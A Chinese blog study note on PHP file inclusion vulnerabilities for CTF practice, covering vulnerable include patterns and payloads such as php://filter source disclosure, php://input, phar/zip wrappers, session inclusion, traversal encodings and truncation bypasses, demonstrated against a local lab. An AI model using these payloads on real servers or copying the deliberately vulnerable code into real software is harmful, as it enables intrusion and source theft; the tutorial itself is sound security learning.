Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 相关函数
      1. 2.1.1. 场景
      2. 2.1.2. 分类
    2. 2.2. 包含姿势
      1. 2.2.1. php伪协议
        1. 2.2.1.1. php://input
        2. 2.2.1.2. php://filter
        3. 2.2.1.3. phar://
        4. 2.2.1.4. zip://
      2. 2.2.2. 包含session
    3. 2.3. 绕过姿势
      1. 2.3.1. 指定前缀
        1. 2.3.1.1. 目录遍历
        2. 2.3.1.2. 编码绕过
      2. 2.3.2. 指定后缀
        1. 2.3.2.1. URL
        2. 2.3.2.2. 利用协议
        3. 2.3.2.3. 长度截断
        4. 2.3.2.4. %00截断

前言

最近发现有很多文件包含的题目,而自己也只是一知半解,借着大佬的blog学习一下。看着chebeta做的,只做了一部分,具体的看原文chebeta

正文

相关函数

PHP中能引发文件包含漏洞的函数通常是以下四个:

1.include()

2.include_once()

3.require()

4.require_once

include 和 require 语句用于在执行流中插入写在其他文件中的有用的代码。

include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:

  • require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
  • include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

include_once

使用include_once会在导入文件前先检测该文件是否在该页面的其他部分被应用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)

require_once

require_once语句是require语句的延伸,他的功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同事使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)

区别:如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。


当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。测试代码:

1
2
3
4
<?php
$file=$_GET['file'];
include $file;
?>

在同目录下有个phpinfo.txt,其内容为<?php phpinfo(); ?>。则只需要访问:

http://127.0.0.1/phpinclude/index.php?file=phpinfo.txt

就可以成功解析成php

A0hlUx.png

场景
  1. 具有相关的文件包含函数。
  2. 文件包含函数中存在动态变量,比如 include $file;
  3. 攻击者能够控制该变量,比如$file = $_GET['file'];
分类

LFI(Local File Inclusion)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置:

  1. allow_url_fopen = On //on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
  2. allow_url_include = On //off 默认关闭,该选项为on便是允许 包含URL 对象文件等

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

这个文件必须命名为’php.ini’,并放置在httpd.conf中的PHPIniDir指令指定的目录中,使用phpinfo()函数可以查看。如果未作修改,windows平台下一般放在php安装目录中。

包含姿势

下面例子中index.php测试代码均为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file;
?>

allow_url_fopen 默认为 On
allow_url_include 默认为 Off

若有特殊要求,会在利用条件里指出。

php伪协议

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

php://input
  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

A05tHA.png

php://filter

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on
allow_url_include:off/on

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了

A0IexS.png

解密后:

A0IhdA.png

payload:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

index.php?file=php://filter/convert.base64-encode/resource=index.php //不加read也可以,在绕过一些waf时也许有用。

phar://

利用条件:

  1. php版本大于等于php5.3.0

姿势:

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

A0oMQO.png

指定绝对路径

index.php?file=phar://F:/phpstudy/PHPTutorial/WWW/phpinclude/phpinfo.zip/phpinfo.txt

A0oO1K.png

或者使用相对路径(这里test.zip就在当前目录下)

index.php?file=phar://phpinfo.zip/phpinfo.txt

A0oz0H.png

zip://

利用条件:

  1. php版本大于等于php5.3.0

姿势:
构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,不能使用相对路径,同时将#编码为%23,之后填上压缩包内的文件。

index.php?file=zip://F:/phpstudy/PHPTutorial/WWW/phpinclude/phpinfo.zip%23phpinfo.txt

A0TJuF.png

包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

比如这篇文章:

透過 LFI 引入 PHP session 檔案觸發 RCE

绕过姿势

平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

指定前缀
1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
目录遍历

这个最简单了,简要的提一下。

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:

include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式
指定后缀

接着考虑指定后缀的情况。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>
URL

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。

姿势一:query(?)

1
index.php?file=http://remoteaddr/remoteinfo.txt?

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

姿势二:fragment(#)

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23

利用协议

前面有提到过利用zip协议和phar协议。假设现在测试代码为:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

构造压缩包,

其中test.php内容为:<?php phpinfo(); ?>

利用zip协议,注意要指定绝对路径

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

%00截断

利用条件: php版本 < php 5.3.4

index.php?file=phpinfo.txt%00

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 相关函数
      1. 2.1.1. 场景
      2. 2.1.2. 分类
    2. 2.2. 包含姿势
      1. 2.2.1. php伪协议
        1. 2.2.1.1. php://input
        2. 2.2.1.2. php://filter
        3. 2.2.1.3. phar://
        4. 2.2.1.4. zip://
      2. 2.2.2. 包含session
    3. 2.3. 绕过姿势
      1. 2.3.1. 指定前缀
        1. 2.3.1.1. 目录遍历
        2. 2.3.1.2. 编码绕过
      2. 2.3.2. 指定后缀
        1. 2.3.2.1. URL
        2. 2.3.2.2. 利用协议
        3. 2.3.2.3. 长度截断
        4. 2.3.2.4. %00截断